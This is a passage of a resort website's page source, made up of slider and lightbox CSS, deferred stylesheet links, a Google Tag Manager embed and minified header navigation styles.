2717/* Slider */
2718.slick-slider {
2719  position: relative;
2720  display: block;
2721  box-sizing: border-box;
2722  -webkit-touch-callout: none;
2723  -webkit-user-select: none;
2724  -khtml-user-select: none;
2725  -moz-user-select: none;
2726  -ms-user-select: none;
2727  user-select: none;
2728  -ms-touch-action: pan-y;
2729  touch-action: pan-y;
2730  -webkit-tap-highlight-color: transparent;
2731}
2732
2733.slick-list {
2734  position: relative;
2735  overflow: hidden;
2736  display: block;
2737  margin: 0;
2738  padding: 0;
2739}
2740
2741.slick-list:focus {
2742  outline: none;
2743}
2744
2745.slick-list.dragging {
2746  cursor: pointer;
2747  cursor: hand;
2748}
2749
2750.slick-slider .slick-track,
2751.slick-slider .slick-list {
2752  -webkit-transform: translate3d(0, 0, 0);
2753  -moz-transform: translate3d(0, 0, 0);
2754  -ms-transform: translate3d(0, 0, 0);
2755  -o-transform: translate3d(0, 0, 0);
2756  transform: translate3d(0, 0, 0);
2757}
2758
2759.slick-track {
2760  position: relative;
2761  left: 0;
2762  top: 0;
2763  display: block;
2764  margin-left: auto;
2765  margin-right: auto;
2766}
2767
2768.slick-track:before, .slick-track:after {
2769  content: "";
2770  display: table;
2771}
2772
2773.slick-track:after {
2774  clear: both;
2775}
2776
2777.slick-loading .slick-track {
2778  visibility: hidden;
2779}
2780
2781.slick-slide {
2782  float: left;
2783  height: 100%;
2784  min-height: 1px;
2785  display: none;
2786}
2787
2788[dir="rtl"] .slick-slide {
2789  float: right;
2790}
2791
2792.slick-slide img {
2793  display: block;
2794}
2795
2796.slick-slide.slick-loading img {
2797  display: none;
2798}
2799
2800.slick-slide.dragging img {
2801  pointer-events: none;
2802}
2803
2804.slick-initialized .slick-slide {
2805  display: block;
2806}
2807
2808.slick-loading .slick-slide {
2809  visibility: hidden;
2810}
2811
2812.slick-vertical .slick-slide {
2813  display: block;
2814  height: auto;
2815  border: 1px solid transparent;
2816}
2817
2818.slick-arrow.slick-hidden {
2819  display: none;
2820}
2821
2822/* Variables
2823**********************************/
2824/* all vars, no need for @if critical */
2825/* breakpoints */
2826/* Animation - see header.scss for usage examples */
2827/* Form placeholders */
2828/* Usage:
2829
2830	.foo {
2831	  @include placeholder {
2832		color: green;
2833	  }
2834	}
2835
2836	@include placeholder {
2837	  color: red;
2838	}
2839*/
2840/* Flexbox 
2841***************************************/
2842/* Card */
2843/* Filter */
2844/* Gridder */
2845/* Variables
2846**********************************/
2847/* all vars, no need for @if critical */
2848/* breakpoints */
2849/* Animation - see header.scss for usage examples */
2850/* Form placeholders */
2851/* Usage:
2852
2853	.foo {
2854	  @include placeholder {
2855		color: green;
2856	  }
2857	}
2858
2859	@include placeholder {
2860	  color: red;
2861	}
2862*/
2863/* Flexbox 
2864***************************************/
2865/* Card */
2866/* Filter */
2867/* Gridder */
2868/* Magnific Popup CSS */
2869.mfp-bg {
2870  top: 0;
2871  left: 0;
2872  width: 100%;
2873  height: 100%;
2874  z-index: 1042;
2875  overflow: hidden;
2876  position: fixed;
2877  background: #0b0b0b;
2878  opacity: 0.8;
2879}
2880
2881.mfp-wrap {
2882  top: 0;
2883  left: 0;
2884  width: 100%;
2885  height: 100%;
2886  z-index: 1043;
2887  position: fixed;
2888  outline: none !important;
2889  -webkit-backface-visibility: hidden;
2890}
2891
2892.mfp-container {
2893  text-align: center;
2894  position: absolute;
2895  width: 100%;
2896  height: 100%;
2897  left: 0;
2898  top: 0;
2899  padding: 0 8px;
2900  box-sizing: border-box;
2901}
2902
2903.mfp-container:before {
2904  content: '';
2905  display: inline-block;
2906  height: 100%;
2907  vertical-align: middle;
2908}
2909
2910.mfp-align-top .mfp-container:before {
2911  display: none;
2912}
2913
2914.mfp-content {
2915  position: relative;
2916  display: inline-block;
2917  vertical-align: middle;
2918  margin: 0 auto;
2919  text-align: left;
2920  z-index: 1045;
2921}
2922
2923.mfp-inline-holder .mfp-content,
2924.mfp-ajax-holder .mfp-content {
2925  width: 100%;
2926  cursor: auto;
2927}
2928
2929.mfp-ajax-cur {
2930  cursor: progress;
2931}
2932
2933.mfp-zoom-out-cur, .mfp-zoom-out-cur .mfp-image-holder .mfp-close {
2934  cursor: -moz-zoom-out;
2935  cursor: -webkit-zoom-out;
2936  cursor: zoom-out;
2937}
2938
2939.mfp-zoom {
2940  cursor: pointer;
2941  cursor: -webkit-zoom-in;
2942  cursor: -moz-zoom-in;
2943  cursor: zoom-in;
2944}
2945
2946.mfp-auto-cursor .mfp-content {
2947  cursor: auto;
2948}
2949
2950.mfp-close,
2951.mfp-arrow,
2952.mfp-preloader,
2953.mfp-counter {
2954  -webkit-user-select: none;
2955  -moz-user-select: none;
2956  user-select: none;
2957}
2958
2959.mfp-loading.mfp-figure {
2960  display: none;
2961}
2962
2963.mfp-hide {
2964  display: none !important;
2965}
2966
2967.mfp-preloader {
2968  color: #CCC;
2969  position: absolute;
2970  top: 50%;
2971  width: auto;
2972  text-align: center;
2973  margin-top: -0.8em;
2974  left: 8px;
2975  right: 8px;
2976  z-index: 1044;
2977}
2978
2979.mfp-preloader a {
2980  color: #CCC;
2981}
2982
2983.mfp-preloader a:hover {
2984  color: #FFF;
2985}
2986
2987.mfp-s-ready .mfp-preloader {
2988  display: none;
2989}
2990
2991.mfp-s-error .mfp-content {
2992  display: none;
2993}
2994
2995button.mfp-close,
2996button.mfp-arrow {
2997  overflow: visible;
2998  cursor: pointer;
2999  background: transparent;
3000  border: 0;
3001  -webkit-appearance: none;
3002  display: block;
3003  outline: none;
3004  padding: 0;
3005  z-index: 1046;
3006  box-shadow: none;
3007  touch-action: manipulation;
3008}
3009
3010button::-moz-focus-inner {
3011  padding: 0;
3012  border: 0;
3013}
3014
3015.mfp-close {
3016  width: 44px;
3017  height: 44px;
3018  line-height: 44px;
3019  position: absolute;
3020  right: 0;
3021  top: 0;
3022  text-decoration: none;
3023  text-align: center;
3024  opacity: 0.65;
3025  padding: 0 0 18px 10px;
3026  color: #FFF;
3027  font-style: normal;
3028  font-size: 28px;
3029  font-family: Arial, Baskerville, monospace;
3030}
3031
3032.mfp-close:hover,
3033.mfp-close:focus {
3034  opacity: 1;
3035}
3036
3037.mfp-close:active {
3038  top: 1px;
3039}
3040
3041.mfp-close-btn-in .mfp-close {
3042  color: #333;
3043}
3044
3045.mfp-image-holder .mfp-close,
3046.mfp-iframe-holder .mfp-close {
3047  color: #FFF;
3048  right: -6px;
3049  text-align: right;
3050  padding-right: 6px;
3051  width: 100%;
3052}
3053
3054.mfp-counter {
3055  position: absolute;
3056  top: 0;
3057  right: 0;
3058  color: #CCC;
3059  font-size: 12px;
3060  line-height: 18px;
3061  white-space: nowrap;
3062}
3063
3064.mfp-arrow {
3065  position: absolute;
3066  opacity: 0.65;
3067  margin: 0;
3068  top: 50%;
3069  margin-top: -55px;
3070  padding: 0;
3071  width: 90px;
3072  height: 110px;
3073  -webkit-tap-highlight-color: transparent;
3074}
3075
3076.mfp-arrow:active {
3077  margin-top: -54px;
3078}
3079
3080.mfp-arrow:hover,
3081.mfp-arrow:focus {
3082  opacity: 1;
3083}
3084
3085.mfp-arrow:before,
3086.mfp-arrow:after {
3087  content: '';
3088  display: block;
3089  width: 0;
3090  height: 0;
3091  position: absolute;
3092  left: 0;
3093  top: 0;
3094  margin-top: 35px;
3095  margin-left: 35px;
3096  border: medium inset transparent;
3097}
3098
3099.mfp-arrow:after {
3100  border-top-width: 13px;
3101  border-bottom-width: 13px;
3102  top: 8px;
3103}
3104
3105.mfp-arrow:before {
3106  border-top-width: 21px;
3107  border-bottom-width: 21px;
3108  opacity: 0.7;
3109}
3110
3111.mfp-arrow-left {
3112  left: 0;
3113}
3114
3115.mfp-arrow-left:after {
3116  border-right: 17px solid #FFF;
3117  margin-left: 31px;
3118}
3119
3120.mfp-arrow-left:before {
3121  margin-left: 25px;
3122  border-right: 27px solid #3F3F3F;
3123}
3124
3125.mfp-arrow-right {
3126  right: 0;
3127}
3128
3129.mfp-arrow-right:after {
3130  border-left: 17px solid #FFF;
3131  margin-left: 39px;
3132}
3133
3134.mfp-arrow-right:before {
3135  border-left: 27px solid #3F3F3F;
3136}
3137
3138.mfp-iframe-holder {
3139  padding-top: 40px;
3140  padding-bottom: 40px;
3141}
3142
3143.mfp-iframe-holder .mfp-content {
3144  line-height: 0;
3145  width: 100%;
3146  max-width: 900px;
3147}
3148
3149.mfp-iframe-holder .mfp-close {
3150  top: -40px;
3151}
3152
3153.mfp-iframe-scaler {
3154  width: 100%;
3155  height: 0;
3156  overflow: hidden;
3157  padding-top: 56.25%;
3158}
3159
3160.mfp-iframe-scaler iframe {
3161  position: absolute;
3162  display: block;
3163  top: 0;
3164  left: 0;
3165  width: 100%;
3166  height: 100%;
3167  box-shadow: 0 0 8px rgba(0, 0, 0, 0.6);
3168  background: #000;
3169}
3170
3171/* Main image in popup */
3172img.mfp-img {
3173  width: auto;
3174  max-width: 100%;
3175  height: auto;
3176  display: block;
3177  line-height: 0;
3178  box-sizing: border-box;
3179  padding: 40px 0 40px;
3180  margin: 0 auto;
3181}
3182
3183/* The shadow behind the image */
3184.mfp-figure {
3185  line-height: 0;
3186}
3187
3188.mfp-figure:after {
3189  content: '';
3190  position: absolute;
3191  left: 0;
3192  top: 40px;
3193  bottom: 40px;
3194  display: block;
3195  right: 0;
3196  width: auto;
3197  height: auto;
3198  z-index: -1;
3199  box-shadow: 0 0 8px rgba(0, 0, 0, 0.6);
3200  background: #444;
3201}
3202
3203.mfp-figure small {
3204  color: #BDBDBD;
3205  display: block;
3206  font-size: 12px;
3207  line-height: 14px;
3208}
3209
3210.mfp-figure figure {
3211  margin: 0;
3212}
3213
3214.mfp-bottom-bar {
3215  margin-top: -36px;
3216  position: absolute;
3217  top: 100%;
3218  left: 0;
3219  width: 100%;
3220  cursor: auto;
3221}
3222
3223.mfp-title {
3224  text-align: left;
3225  line-height: 18px;
3226  color: #F3F3F3;
3227  word-wrap: break-word;
3228  padding-right: 36px;
3229}
3230
3231.mfp-image-holder .mfp-content {
3232  max-width: 100%;
3233}
3234
3235.mfp-gallery .mfp-image-holder .mfp-figure {
3236  cursor: pointer;
3237}
3238
3239@media screen and (max-width: 800px) and (orientation: landscape), screen and (max-height: 300px) {
3240  /**
3241       * Remove all paddings around the image on small screen
3242       */
3243  .mfp-img-mobile .mfp-image-holder {
3244    padding-left: 0;
3245    padding-right: 0;
3246  }
3247  .mfp-img-mobile img.mfp-img {
3248    padding: 0;
3249  }
3250  .mfp-img-mobile .mfp-figure:after {
3251    top: 0;
3252    bottom: 0;
3253  }
3254  .mfp-img-mobile .mfp-figure small {
3255    display: inline;
3256    margin-left: 5px;
3257  }
3258  .mfp-img-mobile .mfp-bottom-bar {
3259    background: rgba(0, 0, 0, 0.6);
3260    bottom: 0;
3261    margin: 0;
3262    top: auto;
3263    padding: 3px 5px;
3264    position: fixed;
3265    box-sizing: border-box;
3266  }
3267  .mfp-img-mobile .mfp-bottom-bar:empty {
3268    padding: 0;
3269  }
3270  .mfp-img-mobile .mfp-counter {
3271    right: 5px;
3272    top: 3px;
3273  }
3274  .mfp-img-mobile .mfp-close {
3275    top: 0;
3276    right: 0;
3277    width: 35px;
3278    height: 35px;
3279    line-height: 35px;
3280    background: rgba(0, 0, 0, 0.6);
3281    position: fixed;
3282    text-align: center;
3283    padding: 0;
3284  }
3285}
3286
3287@media all and (max-width: 900px) {
3288  .mfp-arrow {
3289    -webkit-transform: scale(0.75);
3290    transform: scale(0.75);
3291  }
3292  .mfp-arrow-left {
3293    -webkit-transform-origin: 0;
3294    transform-origin: 0;
3295  }
3296  .mfp-arrow-right {
3297    -webkit-transform-origin: 100%;
3298    transform-origin: 100%;
3299  }
3300  .mfp-container {
3301    padding-left: 6px;
3302    padding-right: 6px;
3303  }
3304}
3305
3306/* Fade in effect */
3307/* overlay at start */
3308.mfp-fade.mfp-bg {
3309  opacity: 0;
3310  -webkit-transition: all 0.15s ease-out;
3311  -moz-transition: all 0.15s ease-out;
3312  transition: all 0.15s ease-out;
3313}
3314
3315/* overlay animate in */
3316.mfp-fade.mfp-bg.mfp-ready {
3317  opacity: 0.8;
3318}
3319
3320/* overlay animate out */
3321.mfp-fade.mfp-bg.mfp-removing {
3322  opacity: 0;
3323}
3324
3325/* content at start */
3326.mfp-fade.mfp-wrap .mfp-content {
3327  opacity: 0;
3328  -webkit-transition: all 0.15s ease-out;
3329  -moz-transition: all 0.15s ease-out;
3330  transition: all 0.15s ease-out;
3331}
3332
3333/* content animate it */
3334.mfp-fade.mfp-wrap.mfp-ready .mfp-content {
3335  opacity: 1;
3336}
3337
3338/* content animate out */
3339.mfp-fade.mfp-wrap.mfp-removing .mfp-content {
3340  opacity: 0;
3341}
3342
3343/* Variables
3344**********************************/
3345/* all vars, no need for @if critical */
3346/* breakpoints */
3347/* Animation - see header.scss for usage examples */
3348/* Form placeholders */
3349/* Usage:
3350
3351	.foo {
3352	  @include placeholder {
3353		color: green;
3354	  }
3355	}
3356
3357	@include placeholder {
3358	  color: red;
3359	}
3360*/
3361/* Flexbox 
3362***************************************/
3363/* Card */
3364/* Filter */
3365/* Gridder */
3366/*************************************** 
3367	INLINE STYLES - Above the fold
3368****************************************/
3369.popup-outer {
3370  display: none;
3371}
3372
3373/*************************************** 
3374	DEFERRED STYLES
3375****************************************/
3376/*
3377	MDAdmin website
3378    main style sheet:  style.scss
3379
3380    Surround parts that emit css with inline, head, or after.  
3381    This will break the CSS up into inline in the head, link reference in the head,
3382    and deffered link refered loaded after the </body> tag is processed.
3383    Variables, mixins etc that do not of themselves emit css stay outside those
3384    conditions and in fact are probably needed by all 3 conditions.
3385
3386********************************************/
3387</style>
3388        
3389        
3390        <!-- inline bundles -->
3391        
3392        <noscript id="deferred-styles">
3393        <link href="/css/after.css?v=aqfaUVLboszjjb4xE7yj9kAVhuuGueZ426RNS_Rk_1s1" rel="stylesheet"/>
3394
3395        <link href="/css/fontello/css/fontello.css" rel="stylesheet"   >
3396        <link href="/css/custom-theme/jquery-ui.min.css" rel="stylesheet"   >
3397        <link href="/components/book/css/book_after.css?v=dwd_lozt_a2nyw1xp7m4juergoij1rsherdbcd2jwmg1" rel="stylesheet"   >
3398        <link href="/css/auto-bundles/vendors/swiper.min.css" rel="stylesheet"   >
3399        <link href="/css/auto-bundles/components/dj-sliders/dj_sliders_after.css?v=nlysxmzjmq0lembs5d1iloiy8xlxea5-ims-_m5l0tg1" rel="stylesheet"   >
3400        <link href="/css/auto-bundles/components/fw-tab-slider/fw_tab_slider_after.css?v=moeoayqj6qto_od61inbijk_caaj27tkoodvwtxhhmm1" rel="stylesheet"   >
3401        <link href="/css/auto-bundles/components/perc-slider/perc_slider_after.css?v=vprpo8uyqfy7nei49gpwdcgus0kzc1330nodkfvopyu1" rel="stylesheet"   >
3402        <link href="/css/auto-bundles/pages/home/index_after.css?v=qvg2xh7w3kd6ynzva2g4nioekhj5bavpr7q8rjlpdic1" rel="stylesheet"   >
3403        <link href="/components/home_callouts/css/home_callouts_after.css?v=wyiakpqijob41b8qn653wz9cfrqwoqiucq1hcp6ogum1" rel="stylesheet"   >
3404        <link href="/components/offers/css/offers_after.css?v=nfpnln24dtxdi3lxiae65nrxew1wojzkvjwquytuina1" rel="stylesheet"   >
3405        <link href="/components/map/css/map_after.css?v=-ggzig4liaq4sf88nobdxolzvxooryihynevni1kw4o1" rel="stylesheet"   >
3406        <link href="/components/reviews/css/reviews_after.css?v=urklexky9o4n0scfc4nwgbgznwbtnfnny3nnj_salfi1" rel="stylesheet"   >
3407        <link href="/components/social/css/social_after.css?v=dqmw2wdrtldeo-jwagbkbvqaqdz7npv7pryepjywsdm1" rel="stylesheet"   >
3408        <link href="/components/footer/css/footer_after.css?v=vyst1kyld7weqrxyksgbj43djfbsrbzsras3mvoxh641" rel="stylesheet"   >
3409        <link href="/components/forms/eclub/css/eclub_after.css?v=evycwbt31i2kl7j7unfqggb_gyxaxjr9_othksvtxns1" rel="stylesheet"   >
3410        </noscript>
3411
3412        
3413    </head>
3414    <body  class="">
3415        
3416
3417        
3418
3419        
3420
3421                    
3422        <!-- Google Tag Manager (noscript) -->
vendor: 77 bytes, lines 3422-3423
3422
3423        <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=
3423GTM-TD566NW
vendor: 101 bytes, lines 3423-3425
3423"
3424        height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
3425        
3425<!-- End Google Tag Manager (noscript) -->
3426
3427        
3428                    
3429            
3430        <style>.skip-nav-link{position:absolute;top:-4em;left:0;z-index:1001;padding:1em 1.5em;background-color:#ff671f;color:#fff;width:auto;height:auto;transition:top 1s ease-out}.skip-nav-link:focus{top:0;outline-color:transparent;transition:top .1s ease-in}.site-header{box-sizing:border-box;position:fixed;top:0;left:0;z-index:100;width:100%;color:#fff;transition:background-color .35s,color .35s}@media screen and (max-width:767px){.site-header{background-color:#fff;color:#56534d}}.site-header::before{content:'';pointer-events:none;position:absolute;top:0;left:0;z-index:-1;width:100%;height:20vh;background:linear-gradient(rgba(0,0,0,.7),rgba(0,0,0,0));transition:opacity .35s}@media screen and (max-width:767px){.site-header::before{content:none}}.active-subnav .site-header::before{opacity:0;transition:opacity 0s}.book-active .site-header::before,.isHeaderMin .site-header::before{opacity:0}.active-subnav .site-header{background-color:#fff;color:#56534d;transition:background-color 0s}.book-active .site-header,.isHeaderMin .site-header{background-color:#fff;color:#56534d;border-bottom:1px solid #ccc}.site-header-inner{box-sizing:border-box;max-width:1280px;width:94%;padding-top:1em;display:flex;transition:padding-top .35s}@media screen and (max-width:767px){.site-header-inner{padding:0;min-height:60px;width:auto;align-items:center}}.isHeaderMin .site-header-inner{padding-top:0}.site-logo{width:196px;height:80px;color:currentColor;overflow:hidden;margin:0 0 .75em;transition:width .35s,height .35s,margin .35s}@media screen and (max-width:1023px){.site-logo{width:150px;height:61px}}@media screen and (max-width:767px){.site-logo{width:116px;height:47px;margin-left:1em}}@media screen and (max-width:480px){.site-logo{margin-left:.5em}}.site-logo a{display:block;width:100%;height:100%;color:currentColor}.site-logo a:focus{outline:1px solid;outline-offset:-2px}.site-logo svg{width:100%;height:100%}.site-logo .sl-1{fill:#ff671f}.site-logo .sl-2,.site-logo .sl-3,.site-logo .sl-4,.site-logo .sl-5,.site-logo .sl-6{fill:currentColor}.isHeaderMin .site-logo{width:116px;height:47px;margin:.25em 0}.site-logo-mkbh{width:160px;height:90px;transition:width .35s,height .35s,margin .35s}@media screen and (max-width:767px){.site-logo-mkbh{width:84px;height:47px;margin-left:1em}}.site-logo-mkbh a{display:block;width:100%;height:100%;background-position:center;background-repeat:no-repeat;background-image:url(/images/layout/logos/mkbh-white.png);background-size:contain}@media screen and (max-width:767px){.site-logo-mkbh a{background-image:url(/images/layout/logos/mkbh-color.png)}}.book-active .site-logo-mkbh a,.active-subnav .site-logo-mkbh a,.isHeaderMin .site-logo-mkbh a{background-image:url(/images/layout/logos/mkbh-color.png)}.isHeaderMin .site-logo-mkbh{width:84px;height:47px;margin:.25em 0}.site-logo-westin{width:152px;height:56px;color:currentColor;overflow:hidden;margin:0;align-self:center;transition:width .35s,height .35s,margin .35s}@media screen and (max-width:767px){.site-logo-westin{width:116px;height:43px;margin-left:1em}}@media screen and (max-width:480px){.site-logo-westin{margin-left:.5em}}.site-logo-westin a{color:currentColor}.site-logo-westin svg{width:100%;height:100%}.site-logo-westin .sl-westin-fill{fill:currentColor}.isHeaderMin .site-logo-westin{width:116px;height:43px;margin:.25em 0}.site-logo-mkr{width:196px;height:80px;color:currentColor;overflow:hidden;margin:0;transition:width .35s,height .35s,margin .35s}@media screen and (max-width:1023px){.site-logo-mkr{width:150px;height:61px}}@media screen and (max-width:767px){.site-logo-mkr{width:116px;height:47px;margin-left:1em}}@media screen and (max-width:480px){.site-logo-mkr{margin-left:.5em}}.site-logo-mkr a{color:currentColor}.site-logo-mkr svg{width:100%;height:100%}.site-logo-mkr .mkr-logo-1{fill:#ff671f}.site-logo-mkr .mkr-logo-2,.site-logo-mkr .mkr-logo-3,.site-logo-mkr .mkr-logo-4,.site-logo-mkr .mkr-logo-5,.site-logo-mkr .mkr-logo-6{fill:currentColor}.isHeaderMin .site-logo-mkr{width:116px;height:47px;margin:.25em 0}.site-nav{box-sizing:border-box;width:75%;display:flex;align-items:flex-end;transition:width .35s,align-items .35s}@media screen and (max-width:1023px){.site-nav{width:96%}}@media screen and (max-width:767px){.site-nav{width:100%}}.site-nav .btn-pill{font-size:.75rem;margin-bottom:.85em;transition:font-size .35s,margin-bottom .35s}.site-nav .btn-pill span:not(.button-bg){padding:.6rem 1.5rem}.site-nav .btn-pill .button-bg::before,.site-nav .btn-pill .button-bg::after{background-color:#161441}.isHeaderMin .site-nav .btn-pill{font-size:.65rem;margin-bottom:.75em}.isHeaderMin .site-nav{width:60%}@media screen and (max-width:1023px){.isHeaderMin .site-nav{width:80%}}@media(hover:hover){.site-nav .nav-dine .level3 .green:hover{color:#529d6e}.site-nav .nav-dine .level3 .green:hover::before{background-color:#529d6e}}.primary-nav{font-family:"Nunito Sans",sans-serif;flex:1;display:flex;margin-right:1em}@media screen and (max-width:767px){.primary-nav{display:block;margin-right:0}}.primary-nav>li{flex:1}@media screen and (max-width:767px){.primary-nav>li{border-bottom:1px solid #ccc}}.primary-nav>li:hover .pn-link{color:#ff671f}@media screen and (max-width:767px){.primary-nav>li:hover .pn-link{background-color:#ff671f;color:#fff}}.primary-nav>li:hover .pn-link>span:after{width:100%}@media screen and (max-width:767px){.primary-nav>li:hover .pn-link::after{display:block}}.primary-nav>li.nav-golf,.primary-nav>li.nav-culture{position:relative}@media screen and (max-width:1023px){.primary-nav>li.nav-golf,.primary-nav>li.nav-culture{position:static}}.primary-nav>li.nav-golf .dd-nav,.primary-nav>
3430li.nav-culture .dd-nav{left:auto;right:-2em;min-width:700px;transform:translate(0,-20px)}@media screen and (max-width:1023px){.primary-nav>li.nav-golf .dd-nav,.primary-nav>li.nav-culture .dd-nav{left:0;right:auto;min-width:0}}.primary-nav>li.nav-golf .dd-nav.open,.primary-nav>li.nav-culture .dd-nav.open{transform:translate(0,0)}.pn-link{display:block;position:relative;color:currentColor;padding:0 0 1.15em;font-size:.813rem;font-weight:600;letter-spacing:.1em;text-align:center;text-transform:uppercase;transition:font-size .35s,padding .35s}@media screen and (max-width:767px){.pn-link{padding:.5em 50px .5em 1.5em;text-align:left}}.pn-link>span{display:inline-block;position:relative}.pn-link>span:after{-webkit-transition:width .35s;-moz-transition:width .35s;-ms-transition:width .35s;transition:width .35s;-webkit-transform:translateX(-50%);-moz-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);content:'';position:absolute;top:calc(100% - 1px);left:50%;width:0;height:1px;background-color:#ff671f;pointer-events:none}@media screen and (max-width:1023px){.pn-link>span:after{content:none}}.pn-link::after{content:'';font-family:'fontello';font-size:1.1rem;pointer-events:none;position:absolute;top:50%;right:1em;width:25px;height:25px;background-color:#fff;color:#ff671f;border-radius:50%;text-align:center;display:none;transform:translateY(-50%)}.isHeaderMin .pn-link{font-size:.75rem;padding:0 0 .8em}.is-admin .pn-link{pointer-events:none}.utility{overflow:hidden;font-family:"Lora",serif;font-size:.8rem;letter-spacing:.035em;margin-bottom:.75em;max-height:60px;transition:max-height .35s,margin-bottom .35s}@media screen and (max-width:767px){.utility{margin-bottom:0;border-bottom:1px solid #ccc}}@media screen and (max-width:767px){.utility .un-ww{display:none}}.isHeaderMin .utility{max-height:0;margin-bottom:0}.weather-widget{display:flex;align-items:center;margin:0 1em}.weather-widget .weather-icon{width:20px;margin-right:.5em}.weather-widget .weather-icon path{fill:currentColor}.weather-widget .pipe{margin:0 .5em}.utility-nav{display:flex;align-items:center}@media screen and (max-width:767px){.utility-nav{justify-content:center}}.utility-nav a{display:block;padding:.25em .75em;color:currentColor}@media screen and (max-width:767px){.utility-nav a{padding:.75em}}.utility-nav a:hover{color:#ff671f}.utility-nav a:focus{outline:1px solid;outline-offset:-1px}.mobile-utility{margin-right:60px;display:none}@media screen and (max-width:767px){.mobile-utility{flex:1;display:flex;align-items:center;justify-content:flex-end}}.mobile-utility .btn-pill{font-size:.7rem;margin-left:.5em}.mobile-utility .btn-pill span:not(.button-bg){padding:.656rem}.mobile-utility .btn-pill .button-bg::before,.mobile-utility .btn-pill .button-bg::after{background-color:#161441}.nav-panel{flex:1;display:flex;flex-direction:column;align-items:flex-end;justify-content:flex-end}@media screen and (max-width:767px){.nav-panel{position:absolute;top:100%;left:0;width:100%;height:calc(100vh - 60px);background-color:#fff;color:currentColor;border-top:1px solid #ccc;overflow-y:auto;display:none}}@media screen and (max-width:767px){.active-nav .nav-panel{display:block}}.dd-nav{-webkit-transition:opacity .35s;-moz-transition:opacity .35s;-ms-transition:opacity .35s;transition:opacity .35s;box-sizing:border-box;position:absolute;top:100%;left:50%;z-index:-1;width:740px;background-color:#fff;color:#000;padding:2em;font-size:.9em;box-shadow:0 9px 9px 0 rgba(0,0,0,.25);opacity:0;pointer-events:none;overflow:hidden;transform:translate(-50%,-20px);transition:opacity .6s ease,transform .6s ease}
3430@media screen and (max-width:1023px){.dd-nav{left:0;width:100%;transform:translate(0,-20px)}}@media screen and (max-width:767px){.dd-nav{position:relative;top:auto;left:auto;padding:0;box-shadow:none;background-color:transparent;z-index:auto;opacity:1;transform:translateY(0);pointer-events:auto;display:none}}.dd-nav.open{z-index:auto;opacity:1;transform:translate(-50%,0);pointer-events:auto}@media screen and (max-width:1023px){.dd-nav.open{display:block;transform:translate(0,0)}}.dd-nav .col{box-sizing:border-box}@media screen and (max-width:1023px){.dd-nav .col{width:auto}}.dd-nav .col-1{box-sizing:border-box;display:flex;padding-right:2em;min-width:200px}@media screen and (max-width:1023px){.dd-nav .col-1{display:block;padding-right:0}}.dd-nav .col-2{min-width:415px;flex:0 0 415px}@media screen and (max-width:767px){.dd-nav .col-2{display:none}}.dd-nav a:focus{outline:1px dotted;outline-offset:2px}.nav-stay .dd-nav{width:740px}@media screen and (max-width:1023px){.nav-stay .dd-nav{width:auto}}.nav-play .dd-nav{width:860px}@media screen and (max-width:1023px){.nav-play .dd-nav{width:auto}}.nav-dine .dd-nav{width:940px}@media screen and (max-width:1023px){.nav-dine .dd-nav{width:auto}}.dd-nav-inner{display:flex;justify-content:space-between}@media screen and (max-width:767px){.dd-nav-inner{display:block}}.subnav-menu{}.subnav-menu ul::after{content:'';width:100%;display:inline-block}@media screen and (max-width:1023px){.subnav-menu ul::after{content:none}}.nav-play .subnav-menu,.nav-dine .subnav-menu{column-count:2;column-gap:3em}@media screen and (max-width:1023px){.nav-play .subnav-menu,.nav-dine .subnav-menu{column-gap:1.5em}}@media screen and (max-width:767px){.nav-play .subnav-menu,.nav-dine .subnav-menu{column-count:auto;column-gap:normal}}.nav-dine .subnav-menu{max-width:360px;column-gap:2em}@media screen and (max-width:1023px){.nav-dine .subnav-menu{column-gap:1.5em}}@media screen and (max-width:767px){.nav-dine .subnav-menu{max-width:none}}.subnav>li{margin-bottom:.25em;break-inside:avoid-column}@media screen and (max-width:1023px){.subnav>li:hover .level3{display:block}}.subnav .level3{margin-left:1em}@media screen and (max-width:767px){.subnav .level3{margin-left:0}}.subnav .level3 a{display:inline-block;padding:.25em 0;color:#6d6d6d;position:relative;white-space:nowrap}@media screen and (max-width:1023px){.subnav .level3 a{padding-left:1em;padding-right:1em;white-space:normal}}@media screen and (max-width:767px){.subnav .level3 a{padding-left:2.5em;padding-right:2.5em}}@media(hover:hover){.subnav .level3 a:hover{color:#ff671f}.subnav .level3 a:hover::before{content:'';pointer-events:none;width:0;height:1px;position:absolute;top:100%;left:0;background-color:#ff671f;transition:width .35s}}@media screen and (hover:hover) and (max-width:1023px){.subnav .level3 a:hover::before{content:none}}.subnav .level3 a:hover::before{width:100%}.sn-link{position:relative;display:block;padding:.25em;color:#000;letter-spacing:.025em;white-space:nowrap}@media screen and (max-width:767px){.sn-link{padding:.25em 1.5em;white-space:normal}}.sn-link span{display:inline-block;position:relative}.sn-link span:after{-webkit-transition:width .35s;-moz-transition:width .35s;-ms-transition:width .35s;transition:width .35s;content:'';position:absolute;top:calc(100% - 1px);left:0;width:0;height:1px;background-color:#ff671f;pointer-events:none}@media screen and (max-width:1023px){.sn-link span:after{content:none}}.sn-link:hover{color:#ff671f}.sn-link:hover span::after{width:100%}.subnav-promo .caption-grad{height:210px;margin-bottom:.5em;line-height:1.3em;position:relative;overflow:hidden;background-color:#000;color:#fff}.subnav-promo .caption-grad figcaption{box-sizing:border-box;position:absolute;left:0;bottom:0;z-index:2;width:100%;padding:.65em;text-align:center;font-size:2em;font-weight:200;text-transform:uppercase;line-height:1;filter:drop-shadow(0 0 .5em #000)}.subnav-promo p{margin-bottom:.75em;line-height:1.4em;font-size:.813rem}.subnav-promo p:last-of-type{margin-bottom:0}.subnav-promo .lm{font-size:.9em;letter-spacing:.075em}.subnav-promo-img{height:100%;overflow:hidden}.nav-toggle{-webkit-transition:top .35s;-moz-transition:top .35s;-ms-transition:top .35s;transition:top .35s;position:absolute;bottom:0;right:0;width:60px;height:60px;color:currentColor;display:none}@media screen and (max-width:767px){.nav-toggle{display:block}}.nav-toggle>span{-webkit-transition:background-color 0s .3s;-moz-transition:background-color 0s .3s;-ms-transition:background-color 0s .3s;transition:background-color 0s 